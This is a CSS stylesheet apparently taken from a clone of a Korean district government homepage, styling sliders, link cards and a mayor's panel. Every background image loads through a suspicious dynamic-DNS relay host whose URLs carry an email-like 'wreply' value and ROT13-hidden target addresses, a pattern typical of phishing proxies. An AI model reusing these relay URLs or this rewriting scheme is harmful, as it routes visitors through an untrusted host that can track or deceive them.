@charset "utf-8";
.mdvwrap {overflow:hidden; min-height:1000px;}

.dvwrap {width:1600px; margin:0 auto; position:relative;}
@media only screen and (max-width:1620px) {
	.dvwrap {width:calc(100% - 2rem); margin:0 1rem;}
}


.sec1 { position:relative; }
.sec1 > .dvwrap {padding:8rem 0; position:relative; display:flex; flex-wrap:wrap; align-items:center;}
.sec1 > .dvwrap > * {position:relative; z-index:1;}
.sec1 > .dvwrap > h3 {position:absolute!important; top:8rem; right:0; }
.sec1 > .dvwrap:before {content:''; display:block; width:2500px; height:472px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Sfrp1ot.wct) no-repeat left 0; position:absolute; top:0; left:-175px; z-index:0;}

.culture_tit {width:30%;  padding:10rem 4rem 4rem; color:#fff; min-height:50rem; position:relative;}
.culture_tit:before {content:''; width:calc(100% + 10rem); height:100%; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Sphyghergot.wct)no-repeat right bottom; border-radius:3rem 10rem 3rem 3rem; position:absolute; top:0; left:0; z-index:0;}
.culture_tit .tit {font-size:4rem; line-height:1.3em; position:relative; z-index:1;}
.culture_tit .tit strong {display:block; font-weight:700;}
.culture_tit .tit strong:after {content:''; display:inline-block; width:1.3rem; height:1.3rem; border-radius:50%; background:#c5ff2a; transform:translateY(-2rem);}
.culture_tit .controll {display:flex; align-items:center; margin-top:8rem;}
.culture_tit .controll .line {width:10rem; height:3px; background:rgba(255,255,255,0.2); position:relative;}
.culture_tit .controll .line span {background:#fff;}
.culture_tit .controll button {width:4.8rem; height:4.8rem; border-radius:50%; border:1px solid #fff; margin-left:1rem; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Sneebj.cat) no-repeat 50% 50%; overflow:hidden; text-indent:-9999px;position:relative; z-index:1;}
.culture_tit .controll button:hover {background:#fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Sneebjba.cat) no-repeat 50% 50%;}
.culture_tit .controll button.nextb {transform:rotateY(180deg);}

.cultureslide {width:70%; overflow:hidden; border-radius:3rem;}
.cultureslide .swiper-slide {position:relative; overflow:hidden; border-radius:3rem;}
.cultureslide .swiper-slide img {width:100%;}
.cultureslide .swiper-slide span {position:absolute; bottom:2rem; left:0; width:100%; text-align:center; color:#fff; font-size:2.6rem; font-weight:700; line-height:1.2em;}

@media only screen and (max-width:1024px) {
	.sec1 > .dvwrap > h3 {position:relative!important; top:0; right:0; margin-bottom:3rem;}
	.sec1 > .dvwrap > h3 img {max-width:100%;}
	.culture_tit {width:100%; min-height:1rem; padding:5rem 3rem 10rem;}
	.culture_tit:before {width:100%; background-size:cover;}
	.culture_tit .controll {margin-top:3rem;}
	.cultureslide {width:calc(100% - 6rem); margin-left:3rem; margin-top:-5rem;}
}

@media only screen and (max-width:768px) {
	.cultureslide .swiper-slide span {font-size:2rem;}
}

.sec2 { position:relative; }
.sec2 > .dvwrap {position:relative; display:flex; flex-wrap:wrap; justify-content:space-between;}
.sec2 > .dvwrap .sec2link {width:calc(58% - 5rem); display:flex; justify-content:space-between; flex-wrap:wrap; gap:3rem 0;}
.sec2 > .dvwrap .sec2link a {display:block; background:#fff; width:48%; border:1px solid #dedede; border-radius:3rem;  padding:4.5rem; position:relative; transition:all .2s;}
.sec2 > .dvwrap .sec2link a > * {position:relative; z-index:1;}
.sec2 > .dvwrap .sec2link a p.tt {font-size:2.6rem; font-weight:700; margin-bottom:1rem; transition:all .2s; word-break:break-word;}
.sec2 > .dvwrap .sec2link a p.copy {font-size:1.8rem; color:#666;}
.sec2 > .dvwrap .sec2link a:after {content:''; width:3.6rem; height:3.6rem; display:block; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Syvaxvpba.cat) no-repeat 50% 50%; background-size:100% auto; margin-top:3rem; z-index:1; position:relative; }
.sec2 > .dvwrap .sec2link a:before{content:''; display:block; position:absolute; bottom:2rem; right:2rem; background:#ff0000; width:10rem; height:10rem; background-size:100%; z-index:0;}
.sec2 > .dvwrap .sec2link a:nth-of-type(1):before {background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Syvaxot01.cat) no-repeat 50% 50%;}
.sec2 > .dvwrap .sec2link a:nth-of-type(2):before {background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Syvaxot02.cat) no-repeat 50% 50%;}
.sec2 > .dvwrap .sec2link a:nth-of-type(3):before {background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Syvaxot03.cat) no-repeat 50% 50%;}
.sec2 > .dvwrap .sec2link a:nth-of-type(4):before {background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Syvaxot04.cat) no-repeat 50% 50%;}
.sec2 > .dvwrap .sec2link a:hover {border:1px solid #6f3185;}
.sec2 > .dvwrap .sec2link a:hover p.tt {color:#6f3185;}

.sec2 > .dvwrap .mayor {width:42%; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Sznlbcot.wct) no-repeat right bottom; padding:7rem 5rem; border-radius:3rem 10rem 3rem 3rem; overflow:hidden; position:relative;}
.sec2 > .dvwrap .mayor > * {position:relative; z-index:1;}
.sec2 > .dvwrap .mayor .tit {color:#fff; font-size:4.6rem; font-weight:700; margin-bottom:3rem;}
.sec2 > .dvwrap .mayor .copy {font-size:2rem; color:#fff;}
.sec2 > .dvwrap .mayor .copy span {font-weight:700; color:#dbff6e;}
.sec2 > .dvwrap .mayor:after {content:''; display:block; width:54rem; height:49rem; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Sznlbczrz.cat) no-repeat right bottom; position:absolute; bottom:0; right:0; z-index:0;}

.sec2 > .dvwrap .mayor a {display:inline-block; background:#fff; border-radius:40px; padding:1rem 3rem 0.8rem 3rem; margin-top:4rem; font-size:1.7rem; transition:all .2s;}
.sec2 > .dvwrap .mayor a:after {content:''; display:inline-block; width:2.1rem; height:1.3rem; margin-left:1rem; width:100% auto; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Szber.cat) no-repeat 50% 50%;}
.sec2 > .dvwrap .mayor a:hover {color:#fff; background:#333;}
.sec2 > .dvwrap .mayor a:hover:after {background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Szberba.cat) no-repeat 50% 50%;}


@media only screen and (max-width:1400px) {
	
	.sec2 > .dvwrap .mayor:after {    background-size: 80%;}
}

@media only screen and (max-width:1024px) {
	.sec2 > .dvwrap .sec2link {width:100%;}
	.sec2 > .dvwrap .sec2link a {width:49%; padding:3rem;}	
	.sec2 > .dvwrap .mayor {width:100%; margin-top:3rem;}
}

@media only screen and (max-width:768px) {
	.sec2 > .dvwrap .sec2link {gap:2rem 0;}
	.sec2 > .dvwrap .sec2link a {width:100%;}
	
	.sec2 > .dvwrap .mayor {padding-bottom:10rem; }
	.sec2 > .dvwrap .mayor:after {transform:scale(0.8); transform-origin:right bottom; background-size: auto;}
}


@media only screen and (max-width:500px) {
	
	.sec2 > .dvwrap .mayor .copy{font-size:1.8rem;}
	.sec2 > .dvwrap .mayor:after {transform:scale(0.5); transform-origin:right bottom; background-size: auto;}
}

.sec3 { position:relative; margin-top:3rem; }
.sec3 > .dvwrap {padding:8rem 0; position:relative; display:flex; flex-wrap:wrap; align-items:center;}
.sec3 > .dvwrap > * {position:relative; z-index:1;}
.sec3 > .dvwrap:before {content:''; display:block; width:2500px; height:472px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2SoftnatfrbRa%2Svzt%2Sznva%2Sfrp3ot.wct) no-repeat right 0; position:absolute; bottom:0; right:-175px; z-index:0;}
.sec3 .tit {display:flex; flex-wrap:wrap; justify-content:space-between; align-items:center; width:100%;}
.sec3 .tit h3 img {max-width:100%;}
.sec3 .tit .controll button {width:7.8rem; height:7.8rem; border:1px solid #dedede; border-radius:50%; background:#fff; overflow:hidden; text-indent:-9999px;}
.sec3 .tit .controll button.preb {background:#fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2Sznlbe%2Svzt%2Sznva%2Sneebj2-ceri.cat) no-repeat 50% 50%;}
.sec3 .tit .controll button.nextb {background:#fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.oftnatfrb.tb.xe%2Sznlbe%2Svzt%2Sznva%2Sneebj2-arkg.cat) no-repeat 50% 50%;}

.viewslide {width:100%; overflow:hidden; border-radius:3rem; margin-top:3rem;}
.viewslide .swiper-slide {position:relative; text-align:right;}
.viewslide .swiper-slide .thum {overflow:hidden; border-radius:3rem;}
.viewslide .swiper-slide .thum img {width:100%;}
.viewslide .swiper-slide span {text-align:right; padding:2rem 3rem; color:#333; font-weight:700; font-size:2.4rem; background:#fff; border-radius:3rem 0 3rem 3rem; display:inline-block; margin-top:-3rem;}

.sec3-flink {display:flex; justify-content:space-around; width:100%; margin-top:7rem; flex-wrap:wrap;}
.sec3-flink a {text-align:center; width:16.66%; position:relative; padding:0 1rem;}
.sec3-flink a img {transition:all .5s;}
.sec3-flink a:after {content:''; display:block;width:0.3rem; height:4rem; border-right:0.3rem dotted #ccc; position:absolute; top:calc(50% - 2rem); right:0;}
.sec3-flink a span {display:block; font-size:2rem; margin-top:1rem; word-break:break-all;}
.sec3-flink a:last-child:after {display:none;}
.sec3-flink a:hover img {transform:rotateY(180deg);}
.sec3-flink a:hover span {font-weight:700;}

@media only screen and (max-width:1024px) {
	.sec3-flink {gap:2rem 0;}
.sec3-flink a {text-align:center; width:33.33%;}
.sec3-flink a:nth-child(3n):after {display:none;}
}

@media only screen and (max-width:768px) {
	.sec3 .tit {flex-direction:column;}
	.sec3 .tit .controll {margin-top:1rem;}
	}